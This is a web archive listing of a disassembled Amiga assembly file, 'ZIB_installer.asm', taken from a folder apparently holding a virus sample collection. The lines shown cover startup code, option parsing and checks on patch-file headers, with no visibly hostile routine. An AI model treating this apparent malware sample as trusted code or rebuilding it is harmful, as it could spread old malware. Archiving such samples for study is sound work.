home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / z / ZIB / ZIB_installer.asm < prev    next >
Assembly Source File  |  2005-03-14  |  184KB  |  6,848 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. EXT_0000    EQU    $0
  5. ABSEXECBASE    EQU    $4
  6. EXT_0002    EQU    $52
  7. EXT_0003    EQU    $41424344
  8. EXT_0004    EQU    $61626364
  9. EXT_0005    EQU    $FFFFFFFC
  10.  
  11.  
  12.  
  13.  
  14.     SECTION S_0,CODE
  15.  
  16. SECSTRT_0:
  17.     MOVEM.L    D1-D6/A0-A6,-(A7)    ;0000: 48E77EFE
  18.     MOVEA.L    A0,A2            ;0004: 2448
  19.     MOVE.L    D0,D2            ;0006: 2400
  20.     LEA    SECSTRT_1,A4        ;0008: 49F900003E84
  21.     BSR    LAB_031A        ;000E: 61003654
  22.     MOVE.L    D2,-(A7)        ;0012: 2F02
  23.     MOVEM.L    A0-A2,-(A7)        ;0014: 48E700E0
  24.     MOVEA.L    276(A6),A3        ;0018: 266E0114        FindTask
  25.     MOVE.L    172(A3),D1        ;001C: 222B00AC        ThisTask
  26.     BEQ.S    LAB_0000        ;0020: 670C
  27.     LSL.L    #2,D1            ;0022: E589
  28.     MOVEA.L    D1,A0            ;0024: 2041
  29.     MOVE.L    52(A0),D1        ;0026: 22280034
  30.     LSL.L    #2,D1            ;002A: E589
  31.     BRA.S    LAB_0001        ;002C: 6006
  32. LAB_0000:
  33.     MOVE.L    A7,D1            ;002E: 220F
  34.     SUB.L    58(A3),D1        ;0030: 92AB003A
  35. LAB_0001:
  36.     MOVEQ    #0,D2            ;0034: 7400
  37.     MOVE.L    #$0000445C,D0        ;0036: 203C0000445C
  38.     CMP.L    304(A4),D1        ;003C: B2AC0130
  39.     BCC.S    LAB_0002        ;0040: 6408
  40.     MOVE.L    304(A4),D1        ;0042: 222C0130
  41.     ADD.L    D1,D0            ;0046: D081
  42.     MOVEQ    #1,D2            ;0048: 7401
  43. LAB_0002:
  44.     MOVEA.L    D1,A3            ;004A: 2641
  45.     MOVE.L    #$00010001,D1        ;004C: 223C00010001
  46.     JSR    -198(A6)        ;0052: 4EAEFF3A
  47.     TST.L    D0            ;0056: 4A80
  48.     BNE.S    LAB_0003        ;0058: 6608
  49.     MOVEM.L    (A7)+,D2/A0-A2        ;005A: 4CDF0704
  50.     BRA    LAB_0018        ;005E: 60000236
  51. LAB_0003:
  52.     MOVEA.L    D0,A0            ;0062: 2040
  53.     MOVEA.L    D0,A2            ;0064: 2440
  54.     MOVEA.L    D0,A1            ;0066: 2240
  55.     MOVE.L    #$00000094,D0        ;0068: 203C00000094
  56.     SUBA.L    #$00000000,A4        ;006E: 99FC00000000
  57. LAB_0004:
  58.     MOVE.L    (A4)+,(A0)+        ;0074: 20DC
  59.     SUBQ.L    #1,D0            ;0076: 5380
  60.     BNE.S    LAB_0004        ;0078: 66FA
  61.     MOVE.L    (A4)+,D0        ;007A: 201C
  62. LAB_0005:
  63.     BEQ.S    LAB_0006        ;007C: 670E
  64.     MOVEA.L    A1,A0            ;007E: 2049
  65.     ADDA.L    (A4)+,A0        ;0080: D1DC
  66.     ADDA.L    (A0),A2            ;0082: D5D0
  67.     MOVE.L    A2,(A0)            ;0084: 208A
  68.     MOVEA.L    A1,A2            ;0086: 2449
  69.     SUBQ.L    #1,D0            ;0088: 5380
  70.     BRA.S    LAB_0005        ;008A: 60F0
  71. LAB_0006:
  72.     MOVEA.L    A1,A4            ;008C: 2849
  73.     ADDA.L    #$00000000,A4        ;008E: D9FC00000000
  74.     MOVE.L    #$0000445C,668(A4)    ;0094: 297C0000445C029C
  75.     MOVEM.L    (A7)+,A0-A2        ;009C: 4CDF0700
  76.     MOVE.L    A6,632(A4)        ;00A0: 294E0278
  77.     TST.B    D2            ;00A4: 4A02
  78.     MOVEM.L    (A7)+,D2        ;00A6: 4CDF0004
  79.     MOVEM.L    A7,640(A4)        ;00AA: 48EC80000280
  80.     BEQ.S    LAB_0009        ;00B0: 673E
  81.     MOVE.L    A4,D0            ;00B2: 200C
  82.     SUBI.L    #$00000000,D0        ;00B4: 048000000000
  83.     ADDI.L    #$0000445C,D0        ;00BA: 06800000445C
  84.     ADD.L    304(A4),D0        ;00C0: D0AC0130
  85.     MOVE.L    D0,D1            ;00C4: 2200
  86.     CMPI    #$0024,20(A6)        ;00C6: 0C6E00240014
  87.     BLT.S    LAB_0007        ;00CC: 6D18
  88.     MOVE.L    D0,664(A4)        ;00CE: 29400298
  89.     MOVE.L    D1,660(A4)        ;00D2: 29410294
  90.     SUB.L    304(A4),D1        ;00D6: 92AC0130
  91.     LEA    656(A4),A0        ;00DA: 41EC0290
  92.     MOVE.L    D1,(A0)            ;00DE: 2081
  93.     JSR    -732(A6)        ;00E0: 4EAEFD24
  94.     BRA.S    LAB_0008        ;00E4: 6002
  95. LAB_0007:
  96.     MOVEA.L    D0,A7            ;00E6: 2E40
  97. LAB_0008:
  98.     MOVE.L    304(A4),D0        ;00E8: 202C0130
  99.     ADD.L    D0,668(A4)        ;00EC: D1AC029C
  100. LAB_0009:
  101.     MOVE.L    A7,D1            ;00F0: 220F
  102.     SUB.L    A3,D1            ;00F2: 928B
  103.     ADDI.L    #$00000080,D1        ;00F4: 068100000080
  104.     MOVE.L    D1,596(A4)        ;00FA: 29410254
  105.     CLR.L    636(A4)            ;00FE: 42AC027C
  106.     MOVEQ    #0,D0            ;0102: 7000
  107.     MOVE.L    #$00003000,D1        ;0104: 223C00003000
  108.     JSR    -306(A6)        ;010A: 4EAEFECE
  109.     MOVEA.L    276(A6),A3        ;010E: 266E0114
  110.     LEA    LAB_0019(PC),A1        ;0112: 43FA0188
  111.     MOVEQ    #0,D0            ;0116: 7000
  112.     JSR    -552(A6)        ;0118: 4EAEFDD8
  113.     MOVE.L    D0,17356(A4)        ;011C: 294043CC
  114.     BNE.S    LAB_000A        ;0120: 6606
  115.     MOVEQ    #100,D0            ;0122: 7064
  116.     BRA    LAB_0012        ;0124: 600000E6
  117. LAB_000A:
  118.     MOVE.L    152(A3),628(A4)        ;0128: 296B00980274
  119.     TST.L    172(A3)            ;012E: 4AAB00AC
  120.     BEQ    LAB_000E        ;0132: 6700007E
  121.     MOVEA.L    172(A3),A0        ;0136: 206B00AC
  122.     ADDA.L    A0,A0            ;013A: D1C8
  123.     ADDA.L    A0,A0            ;013C: D1C8
  124.     MOVEA.L    16(A0),A1        ;013E: 22680010
  125.     ADDA.L    A1,A1            ;0142: D3C9
  126.     ADDA.L    A1,A1            ;0144: D3C9
  127.     MOVE.L    D2,D0            ;0146: 2002
  128.     MOVEQ    #0,D1            ;0148: 7200
  129.     MOVE.B    (A1)+,D1        ;014A: 1219
  130.     MOVE.L    A1,644(A4)        ;014C: 29490284
  131.     ADD.L    D1,D0            ;0150: D081
  132.     ADDQ.L    #7,D0            ;0152: 5E80
  133.     ANDI    #$FFFC,D0        ;0154: 0240FFFC
  134.     MOVE.L    D0,652(A4)        ;0158: 2940028C
  135.     MOVEM.L    D1/A1,-(A7)        ;015C: 48E74040
  136.     MOVE.L    #$00010001,D1        ;0160: 223C00010001
  137.     JSR    -198(A6)        ;0166: 4EAEFF3A
  138.     MOVEM.L    (A7)+,D1/A1        ;016A: 4CDF0202
  139.     TST.L    D0            ;016E: 4A80
  140.     BNE.S    LAB_000B        ;0170: 6608
  141.     MOVEQ    #20,D0            ;0172: 7014
  142.     MOVE.L    D0,-(A7)        ;0174: 2F00
  143.     BEQ    LAB_0017        ;0176: 67000104
  144. LAB_000B:
  145.     MOVEA.L    D0,A0            ;017A: 2040
  146.     MOVE.L    D0,648(A4)        ;017C: 29400288
  147.     MOVE.L    D2,D0            ;0180: 2002
  148.     SUBQ.L    #1,D0            ;0182: 5380
  149.     ADD.L    D1,D2            ;0184: D481
  150. LAB_000C:
  151.     MOVE.B    0(A2,D0.W),2(A0,D2.W)    ;0186: 11B200002002
  152.     SUBQ.L    #1,D2            ;018C: 5382
  153.     DBF    D0,LAB_000C        ;018E: 51C8FFF6
  154.     MOVE.B    #$20,2(A0,D2.W)        ;0192: 11BC00202002
  155.     SUBQ.L    #1,D2            ;0198: 5382
  156.     MOVE.B    #$22,2(A0,D2.W)        ;019A: 11BC00222002
  157. LAB_000D:
  158.     MOVE.B    0(A1,D2.W),1(A0,D2.W)    ;01A0: 11B120002001
  159.     DBF    D2,LAB_000D        ;01A6: 51CAFFF8
  160.     MOVE.B    #$22,(A0)        ;01AA: 10BC0022
  161.     MOVE.L    A0,-(A7)        ;01AE: 2F08
  162.     BRA.S    LAB_0010        ;01B0: 604A
  163. LAB_000E:
  164.     LEA    92(A3),A0        ;01B2: 41EB005C
  165.     JSR    -384(A6)        ;01B6: 4EAEFE80
  166.     LEA    92(A3),A0        ;01BA: 41EB005C
  167.     JSR    -372(A6)        ;01BE: 4EAEFE8C
  168.     MOVE.L    D0,636(A4)        ;01C2: 2940027C
  169.     MOVE.L    D0,-(A7)        ;01C6: 2F00
  170.     MOVEA.L    D0,A2            ;01C8: 2440
  171.     MOVE.L    36(A2),D0        ;01CA: 202A0024
  172.     BEQ.S    LAB_000F        ;01CE: 6718
  173.     MOVEA.L    17356(A4),A6        ;01D0: 2C6C43CC
  174.     MOVEA.L    D0,A0            ;01D4: 2040
  175.     MOVE.L    0(A0),D1        ;01D6: 22280000
  176.     JSR    -96(A6)            ;01DA: 4EAEFFA0
  177.     MOVE.L    D0,628(A4)        ;01DE: 29400274
  178.     MOVE.L    D0,D1            ;01E2: 2200
  179.     JSR    -126(A6)        ;01E4: 4EAEFF82
  180. LAB_000F:
  181.     MOVEA.L    636(A4),A0        ;01E8: 206C027C
  182.     MOVE.L    A0,-(A7)        ;01EC: 2F08
  183.     PEA    592(A4)            ;01EE: 486C0250
  184.     MOVEA.L    36(A0),A0        ;01F2: 20680024
  185.     MOVE.L    4(A0),644(A4)        ;01F6: 296800040284
  186. LAB_0010:
  187.     JSR    LAB_00DB(PC)        ;01FC: 4EBA0C26
  188.     JSR    LAB_00BB(PC)        ;0200: 4EBA09E2
  189.     MOVEQ    #0,D0            ;0204: 7000
  190.     BRA.S    LAB_0012        ;0206: 6004
  191. LAB_0011:
  192.     MOVE.L    4(A7),D0        ;0208: 202F0004
  193. LAB_0012:
  194.     MOVEA.L    640(A4),A2        ;020C: 246C0280
  195.     MOVE.L    D0,-(A2)        ;0210: 2500
  196.     BSR    LAB_031A        ;0212: 61003450
  197.     CMPI    #$0024,20(A6)        ;0216: 0C6E00240014
  198.     BLT.S    LAB_0013        ;021C: 6D12
  199.     TST.L    656(A4)            ;021E: 4AAC0290
  200.     BEQ.S    LAB_0013        ;0222: 670C
  201.     LEA    656(A4),A0        ;0224: 41EC0290
  202.     SUBQ.L    #4,664(A4)        ;0228: 59AC0298
  203.     JSR    -732(A6)        ;022C: 4EAEFD24
  204. LAB_0013:
  205.     MOVEA.L    A2,A7            ;0230: 2E4A
  206.     MOVE.L    620(A4),D0        ;0232: 202C026C
  207.     BEQ.S    LAB_0014        ;0236: 6704
  208.     MOVEA.L    D0,A0            ;0238: 2040
  209.     JSR    (A0)            ;023A: 4E90
  210. LAB_0014:
  211.     JSR    LAB_00DD(PC)        ;023C: 4EBA0BFE
  212.     JSR    LAB_00EF(PC)        ;0240: 4EBA0D2E
  213.     TST.L    636(A4)            ;0244: 4AAC027C
  214.     BEQ.S    LAB_0016        ;0248: 6720
  215.     MOVEA.L    17356(A4),A6        ;024A: 2C6C43CC
  216.     MOVE.L    628(A4),D1        ;024E: 222C0274
  217.     BEQ.S    LAB_0015        ;0252: 6704
  218.     JSR    -90(A6)            ;0254: 4EAEFFA6
  219. LAB_0015:
  220.     BSR    LAB_031A        ;0258: 6100340A
  221.     JSR    -132(A6)        ;025C: 4EAEFF7C
  222.     MOVEA.L    636(A4),A1        ;0260: 226C027C
  223.     JSR    -378(A6)        ;0264: 4EAEFE86
  224.     BRA.S    LAB_0017        ;0268: 6012
  225. LAB_0016:
  226.     BSR    LAB_031A        ;026A: 610033F8
  227.     MOVE.L    652(A4),D0        ;026E: 202C028C
  228.     BEQ.S    LAB_0017        ;0272: 6708
  229.     MOVEA.L    648(A4),A1        ;0274: 226C0288
  230.     JSR    -210(A6)        ;0278: 4EAEFF2E
  231. LAB_0017:
  232.     MOVEA.L    17356(A4),A1        ;027C: 226C43CC
  233.     JSR    -414(A6)        ;0280: 4EAEFE62
  234.     MOVE.L    668(A4),D0        ;0284: 202C029C
  235.     MOVEA.L    A4,A1            ;0288: 224C
  236.     SUBA.L    #$00000000,A1        ;028A: 93FC00000000
  237.     JSR    -210(A6)        ;0290: 4EAEFF2E
  238.     MOVE.L    (A7)+,D0        ;0294: 201F
  239. LAB_0018:
  240.     MOVEM.L    (A7)+,D1-D6/A0-A6    ;0296: 4CDF7F7E
  241.     RTS                ;029A: 4E75
  242. LAB_0019:
  243.     DC.W    $646F            ;029C
  244.     DC.W    $732E            ;029E
  245.     DC.W    $6C69            ;02A0
  246.     BHI.S    LAB_001F        ;02A2: 6272
  247.     BSR.S    LAB_0020        ;02A4: 6172
  248.     DC.W    $7900            ;02A6
  249. LAB_001A:
  250.     SUBA    #$0184,A7        ;02A8: 9EFC0184
  251.     MOVEM.L    D2/D4-D7/A2-A3/A5-A6,-(A7) ;02AC: 48E72F36
  252.     MOVEA.L    A0,A5            ;02B0: 2A48
  253.     MOVE.L    D0,D7            ;02B2: 2E00
  254.     SUBA.L    A0,A0            ;02B4: 91C8
  255.     BSR    LAB_0304        ;02B6: 61003218
  256.     MOVE.L    D0,752(A4)        ;02BA: 294002F0
  257.     SUBQ.L    #1,D7            ;02BE: 5387
  258.     BNE.S    LAB_001B        ;02C0: 6604
  259.     BSR    LAB_00A9        ;02C2: 61000824
  260. LAB_001B:
  261.     MOVE.L    D7,D0            ;02C6: 2007
  262.     ASL.L    #2,D0            ;02C8: E580
  263.     MOVEA.L    A5,A3            ;02CA: 264D
  264.     ADDA.L    D0,A3            ;02CC: D7C0
  265.     MOVE.L    A3,40(A7)        ;02CE: 2F4B0028
  266.     MOVEA.L    (A3),A0            ;02D2: 2053
  267.     LEA    LAB_005B(PC),A1        ;02D4: 43FA057C
  268.     BSR    LAB_02B4        ;02D8: 61002C96
  269.     MOVEA.L    D0,A2            ;02DC: 2440
  270.     TST.L    D0            ;02DE: 4A80
  271.     BNE.S    LAB_001C        ;02E0: 6614
  272.     BSR    LAB_00D0        ;02E2: 61000A7A
  273.     MOVE.L    (A3),-(A7)        ;02E6: 2F13
  274.     PEA    LAB_005C(PC)        ;02E8: 487A056C
  275.     BSR    LAB_00E3        ;02EC: 61000B9E
  276.     BSR    LAB_00AE        ;02F0: 61000822
  277.     ADDQ    #8,A7            ;02F4: 504F
  278. LAB_001C:
  279.     CLR.B    312(A7)            ;02F6: 422F0138
  280.     CLR.B    672(A4)            ;02FA: 422C02A0
  281.     MOVEQ    #1,D6            ;02FE: 7C01
  282.     BRA.S    LAB_0027        ;0300: 6042
  283. LAB_001D:
  284.     MOVEA.L    (A5),A0            ;0302: 2055
  285.     MOVEQ    #45,D0            ;0304: 702D
  286.     CMP.B    (A0),D0            ;0306: B010
  287.     BEQ.S    LAB_001E        ;0308: 6704
  288.     BSR    LAB_00A9        ;030A: 610007DC
  289. LAB_001E:
  290.     MOVEA.L    (A5),A3            ;030E: 2655
  291.     MOVEQ    #0,D0            ;0310: 7000
  292.     MOVE.B    1(A3),D0        ;0312: 102B0001
  293. LAB_001F:
  294.     MOVEQ    #111,D1            ;0316: 726F
  295. LAB_0020:
  296.     SUB.L    D1,D0            ;0318: 9081
  297.     BEQ.S    LAB_0021        ;031A: 6706
  298.     SUBQ.L    #1,D0            ;031C: 5380
  299.     BEQ.S    LAB_0023        ;031E: 6710
  300.     BRA.S    LAB_0025        ;0320: 601C
  301. LAB_0021:
  302.     LEA    2(A3),A0        ;0322: 41EB0002
  303.     LEA    672(A4),A1        ;0326: 43EC02A0
  304. LAB_0022:
  305.     MOVE.B    (A0)+,(A1)+        ;032A: 12D8
  306.     BNE.S    LAB_0022        ;032C: 66FC
  307.     BRA.S    LAB_0026        ;032E: 6012
  308. LAB_0023:
  309.     LEA    2(A3),A0        ;0330: 41EB0002
  310.     LEA    312(A7),A1        ;0334: 43EF0138
  311. LAB_0024:
  312.     MOVE.B    (A0)+,(A1)+        ;0338: 12D8
  313.     BNE.S    LAB_0024        ;033A: 66FC
  314.     BRA.S    LAB_0026        ;033C: 6004
  315. LAB_0025:
  316.     BSR    LAB_00A9        ;033E: 610007A8
  317. LAB_0026:
  318.     ADDQ.L    #1,D6            ;0342: 5286
  319. LAB_0027:
  320.     ADDQ.L    #4,A5            ;0344: 588D
  321.     CMP.L    D7,D6            ;0346: BC87
  322.     BLT.S    LAB_001D        ;0348: 6DB8
  323.     MOVEA.L    40(A7),A3        ;034A: 266F0028
  324.     TST.B    312(A7)            ;034E: 4A2F0138
  325.     BNE.S    LAB_002D        ;0352: 663E
  326.     LEA    312(A7),A0        ;0354: 41EF0138
  327.     MOVEA.L    (A3),A1            ;0358: 2253
  328.     BSR    LAB_0168        ;035A: 61001420
  329.     MOVEQ    #0,D7            ;035E: 7E00
  330.     BRA.S    LAB_002A        ;0360: 6012
  331. LAB_0028:
  332.     LEA    312(A7),A0        ;0362: 41EF0138
  333.     ADDA.L    D7,A0            ;0366: D1C7
  334.     MOVEQ    #46,D0            ;0368: 702E
  335.     CMP.B    (A0),D0            ;036A: B010
  336.     BNE.S    LAB_0029        ;036C: 6604
  337.     CLR.B    (A0)            ;036E: 4210
  338.     BRA.S    LAB_002C        ;0370: 6014
  339. LAB_0029:
  340.     ADDQ.L    #1,D7            ;0372: 5287
  341. LAB_002A:
  342.     LEA    312(A7),A0        ;0374: 41EF0138
  343.     MOVEA.L    A0,A1            ;0378: 2248
  344. LAB_002B:
  345.     TST.B    (A1)+            ;037A: 4A19
  346.     BNE.S    LAB_002B        ;037C: 66FC
  347.     SUBQ.L    #1,A1            ;037E: 5389
  348.     SUBA.L    A0,A1            ;0380: 93C8
  349.     CMP.L    A1,D7            ;0382: BE89
  350.     BCS.S    LAB_0028        ;0384: 65DC
  351. LAB_002C:
  352.     LEA    312(A7),A0        ;0386: 41EF0138
  353.     LEA    LAB_005D(PC),A1        ;038A: 43FA04DE
  354.     BSR    LAB_0205        ;038E: 61001EE8
  355. LAB_002D:
  356.     TST.B    672(A4)            ;0392: 4A2C02A0
  357.     BNE.S    LAB_0033        ;0396: 6640
  358.     LEA    672(A4),A0        ;0398: 41EC02A0
  359.     MOVEA.L    (A3),A1            ;039C: 2253
  360.     BSR    LAB_0168        ;039E: 610013DC
  361.     MOVEQ    #0,D7            ;03A2: 7E00
  362.     BRA.S    LAB_0030        ;03A4: 6014
  363. LAB_002E:
  364.     MOVEQ    #46,D0            ;03A6: 702E
  365.     LEA    672(A4),A0        ;03A8: 41EC02A0
  366.     CMP.B    0(A0,D7.L),D0        ;03AC: B0307800
  367.     BNE.S    LAB_002F        ;03B0: 6606
  368.     CLR.B    0(A0,D7.L)        ;03B2: 42307800
  369.     BRA.S    LAB_0032        ;03B6: 6014
  370. LAB_002F:
  371.     ADDQ.L    #1,D7            ;03B8: 5287
  372. LAB_0030:
  373.     LEA    672(A4),A0        ;03BA: 41EC02A0
  374.     MOVEA.L    A0,A1            ;03BE: 2248
  375. LAB_0031:
  376.     TST.B    (A1)+            ;03C0: 4A19
  377.     BNE.S    LAB_0031        ;03C2: 66FC
  378.     SUBQ.L    #1,A1            ;03C4: 5389
  379.     SUBA.L    A0,A1            ;03C6: 93C8
  380.     CMP.L    A1,D7            ;03C8: BE89
  381.     BCS.S    LAB_002E        ;03CA: 65DA
  382. LAB_0032:
  383.     LEA    672(A4),A0        ;03CC: 41EC02A0
  384.     LEA    LAB_005E(PC),A1        ;03D0: 43FA049E
  385.     BSR    LAB_0205        ;03D4: 61001EA2
  386. LAB_0033:
  387.     LEA    312(A7),A0        ;03D8: 41EF0138
  388.     LEA    LAB_005B(PC),A1        ;03DC: 43FA0474
  389.     BSR    LAB_02B4        ;03E0: 61002B8E
  390.     MOVEA.L    D0,A3            ;03E4: 2640
  391.     TST.L    D0            ;03E6: 4A80
  392.     BNE.S    LAB_0034        ;03E8: 661C
  393.     BSR    LAB_00D0        ;03EA: 61000972
  394.     PEA    312(A7)            ;03EE: 486F0138
  395.     PEA    LAB_005C(PC)        ;03F2: 487A0462
  396.     BSR    LAB_00E3        ;03F6: 61000A94
  397.     MOVEA.L    A2,A0            ;03FA: 204A
  398.     BSR    LAB_0299        ;03FC: 610029CA
  399.     BSR    LAB_00AE        ;0400: 61000712
  400.     ADDQ    #8,A7            ;0404: 504F
  401. LAB_0034:
  402.     MOVEA.L    752(A4),A0        ;0406: 206C02F0
  403.     LEA    LAB_0060(PC),A1        ;040A: 43FA046A
  404.     BSR    LAB_02B4        ;040E: 61002B60
  405.     MOVEA.L    D0,A5            ;0412: 2A40
  406.     TST.L    D0            ;0414: 4A80
  407.     BNE.S    LAB_0035        ;0416: 6622
  408.     BSR    LAB_00D0        ;0418: 61000944
  409.     MOVE.L    752(A4),-(A7)        ;041C: 2F2C02F0
  410.     PEA    LAB_0061(PC)        ;0420: 487A0458
  411.     BSR    LAB_00E3        ;0424: 61000A66
  412.     MOVEA.L    A2,A0            ;0428: 204A
  413.     BSR    LAB_0299        ;042A: 6100299C
  414.     MOVEA.L    A3,A0            ;042E: 204B
  415.     BSR    LAB_0299        ;0430: 61002996
  416.     BSR    LAB_00AE        ;0434: 610006DE
  417.     ADDQ    #8,A7            ;0438: 504F
  418. LAB_0035:
  419.     LEA    52(A7),A0        ;043A: 41EF0034
  420.     MOVEA.L    40(A7),A1        ;043E: 226F0028
  421.     MOVEA.L    (A1),A1            ;0442: 2251
  422.     MOVEQ    #0,D0            ;0444: 7000
  423.     BSR    LAB_00F5        ;0446: 61000BB4
  424.     MOVE.L    176(A7),D5        ;044A: 2A2F00B0
  425.     MOVEQ    #0,D6            ;044E: 7C00
  426.     MOVEQ    #0,D7            ;0450: 7E00
  427.     BRA.S    LAB_0037        ;0452: 600A
  428. LAB_0036:
  429.     MOVEA.L    A2,A0            ;0454: 204A
  430.     BSR    LAB_0250        ;0456: 610023EC
  431.     ADD.L    D0,D6            ;045A: DC80
  432.     ADDQ.L    #1,D7            ;045C: 5287
  433. LAB_0037:
  434.     CMP.L    D5,D7            ;045E: BE85
  435.     BCS.S    LAB_0036        ;0460: 65F2
  436.     MOVEA.L    A2,A0            ;0462: 204A
  437.     BSR    LAB_0299        ;0464: 61002962
  438.     MOVEA.L    40(A7),A0        ;0468: 206F0028
  439.     MOVEA.L    (A0),A0            ;046C: 2050
  440.     LEA    LAB_005B(PC),A1        ;046E: 43FA03E2
  441.     BSR    LAB_02B4        ;0472: 61002AFC
  442.     MOVEA.L    D0,A2            ;0476: 2440
  443.     LEA    396(A7),A0        ;0478: 41EF018C
  444.     MOVEA.L    A3,A1            ;047C: 224B
  445.     MOVEQ    #12,D0            ;047E: 700C
  446.     MOVEQ    #1,D1            ;0480: 7201
  447.     BSR    LAB_027B        ;0482: 61002708
  448.     CMPI.L    #$464F524D,396(A7)    ;0486: 0CAF464F524D018C
  449.     BNE.S    LAB_0038        ;048E: 660C
  450.     CMPI.L    #$50544348,404(A7)    ;0490: 0CAF505443480194
  451.     BEQ    LAB_0058        ;0498: 67000318
  452. LAB_0038:
  453.     PEA    312(A7)            ;049C: 486F0138
  454.     PEA    LAB_0062(PC)        ;04A0: 487A03F2
  455.     BSR    LAB_00E3        ;04A4: 610009E6
  456.     BSR    LAB_00AE        ;04A8: 6100066A
  457.     ADDQ    #8,A7            ;04AC: 504F
  458.     BRA    LAB_0058        ;04AE: 60000302
  459. LAB_0039:
  460.     MOVE.L    396(A7),D0        ;04B2: 202F018C
  461.     SUBI.L    #$494E5046,D0        ;04B6: 0480494E5046
  462.     BEQ.S    LAB_003B        ;04BC: 677C
  463.     SUBI.L    #$06070400,D0        ;04BE: 048006070400
  464.     BEQ    LAB_003E        ;04C4: 670000C0
  465.     SUBI.L    #$00F7FF01,D0        ;04C8: 048000F7FF01
  466.     BEQ    LAB_003F        ;04CE: 670000E0
  467.     SUBI.L    #$0005F20A,D0        ;04D2: 04800005F20A
  468.     BEQ    LAB_0045        ;04D8: 67000136
  469.     SUBI.L    #$05F20D02,D0        ;04DC: 048005F20D02
  470.     BNE    LAB_0058        ;04E2: 660002CE
  471.     LEA    404(A7),A0        ;04E6: 41EF0194
  472.     MOVEA.L    A3,A1            ;04EA: 224B
  473.     MOVEQ    #4,D0            ;04EC: 7004
  474.     MOVEQ    #1,D1            ;04EE: 7201
  475.     BSR    LAB_027B        ;04F0: 6100269A
  476.     CMPI.L    #$00000632,404(A7)    ;04F4: 0CAF000006320194
  477.     BLE.S    LAB_003A        ;04FC: 6F2A
  478.     PEA    LAB_0065(PC)        ;04FE: 487A03CE
  479.     BSR    LAB_00DF        ;0502: 61000950
  480.     MOVE.L    408(A7),D0        ;0506: 202F0198
  481.     MOVE.L    D0,D1            ;050A: 2200
  482.     ASR.L    #8,D1            ;050C: E081
  483.     MOVEQ    #0,D2            ;050E: 7400
  484.     NOT.B    D2            ;0510: 4602
  485.     AND.L    D2,D0            ;0512: C082
  486.     MOVE.L    D0,(A7)            ;0514: 2E80
  487.     MOVE.L    D1,-(A7)        ;0516: 2F01
  488.     PEA    LAB_0069(PC)        ;0518: 487A03EC
  489.     BSR    LAB_00E3        ;051C: 6100096E
  490.     BSR    LAB_00AE        ;0520: 610005F2
  491.     LEA    12(A7),A7        ;0524: 4FEF000C
  492. LAB_003A:
  493.     MOVE.L    400(A7),D0        ;0528: 202F0190
  494.     SUBQ.L    #4,D0            ;052C: 5980
  495.     MOVEA.L    A3,A0            ;052E: 204B
  496.     MOVEQ    #1,D1            ;0530: 7201
  497.     BSR    LAB_00D1        ;0532: 6100085C
  498.     BRA    LAB_0058        ;0536: 6000027A
  499. LAB_003B:
  500.     LEA    404(A7),A0        ;053A: 41EF0194
  501.     MOVEA.L    A3,A1            ;053E: 224B
  502.     MOVEQ    #8,D0            ;0540: 7008
  503.     MOVEQ    #1,D1            ;0542: 7201
  504.     BSR    LAB_027B        ;0544: 61002646
  505.     MOVE.L    404(A7),D0        ;0548: 202F0194
  506.     CMP.L    D6,D0            ;054C: B086
  507.     BNE.S    LAB_003C        ;054E: 6608
  508.     MOVE.L    408(A7),D0        ;0550: 202F0198
  509.     CMP.L    D5,D0            ;0554: B085
  510.     BEQ.S    LAB_003D        ;0556: 671A
  511. LAB_003C:
  512.     BSR    LAB_00D0        ;0558: 61000804
  513.     PEA    LAB_0073(PC)        ;055C: 487A03E0
  514.     BSR    LAB_00DF        ;0560: 610008F2
  515.     PEA    LAB_0078(PC)        ;0564: 487A03FE
  516.     BSR    LAB_00DF        ;0568: 610008EA
  517.     BSR    LAB_00AE        ;056C: 610005A6
  518.     ADDQ    #8,A7            ;0570: 504F
  519. LAB_003D:
  520.     MOVEQ    #0,D6            ;0572: 7C00
  521.     MOVE.L    400(A7),D0        ;0574: 202F0190
  522.     SUBQ.L    #8,D0            ;0578: 5180
  523.     MOVEA.L    A3,A0            ;057A: 204B
  524.     MOVEQ    #1,D1            ;057C: 7201
  525.     BSR    LAB_00D1        ;057E: 61000810
  526.     BRA    LAB_0058        ;0582: 6000022E
  527. LAB_003E:
  528.     LEA    404(A7),A0        ;0586: 41EF0194
  529.     MOVEA.L    A3,A1            ;058A: 224B
  530.     MOVEQ    #8,D0            ;058C: 7008
  531.     MOVEQ    #1,D1            ;058E: 7201
  532.     BSR    LAB_027B        ;0590: 610025FA
  533.     LEA    404(A7),A6        ;0594: 4DEF0194
  534.     MOVE.L    (A6)+,416(A7)        ;0598: 2F5E01A0
  535.     MOVE.L    (A6)+,(A6)+        ;059C: 2CDE
  536.     MOVE.L    400(A7),D0        ;059E: 202F0190
  537.     SUBQ.L    #8,D0            ;05A2: 5180
  538.     MOVEA.L    A3,A0            ;05A4: 204B
  539.     MOVEQ    #1,D1            ;05A6: 7201
  540.     BSR    LAB_00D1        ;05A8: 610007E6
  541.     BRA    LAB_0058        ;05AC: 60000204
  542. LAB_003F:
  543.     MOVEQ    #0,D7            ;05B0: 7E00
  544.     BRA.S    LAB_0044        ;05B2: 6052
  545. LAB_0040:
  546.     MOVEA.L    A3,A0            ;05B4: 204B
  547.     BSR    LAB_0250        ;05B6: 6100228C
  548.     BTST    #1,377(A4)        ;05BA: 082C00010179
  549.     BEQ.S    LAB_0042        ;05C0: 6734
  550.     ADDQ.L    #1,362(A4)        ;05C2: 52AC016A
  551.     MOVE.L    362(A4),D1        ;05C6: 222C016A
  552.     CMP.L    370(A4),D1        ;05CA: B2AC0172
  553.     BGT.S    LAB_0041        ;05CE: 6E22
  554.     MOVEA.L    354(A4),A0        ;05D0: 206C0162
  555.     ADDQ.L    #1,354(A4)        ;05D4: 52AC0162
  556.     MOVE.B    D0,(A0)            ;05D8: 1080
  557.     MOVEQ    #10,D1            ;05DA: 720A
  558.     CMP.B    D1,D0            ;05DC: B001
  559.     BNE.S    LAB_0043        ;05DE: 6624
  560.     BTST    #6,377(A4)        ;05E0: 082C00060179
  561.     BEQ.S    LAB_0043        ;05E6: 671C
  562.     LEA    350(A4),A0        ;05E8: 41EC015E
  563.     BSR    LAB_028C        ;05EC: 61002706
  564.     BRA.S    LAB_0043        ;05F0: 6012
  565. LAB_0041:
  566.     SUBQ.L    #1,362(A4)        ;05F2: 53AC016A
  567. LAB_0042:
  568.     MOVEQ    #0,D1            ;05F6: 7200
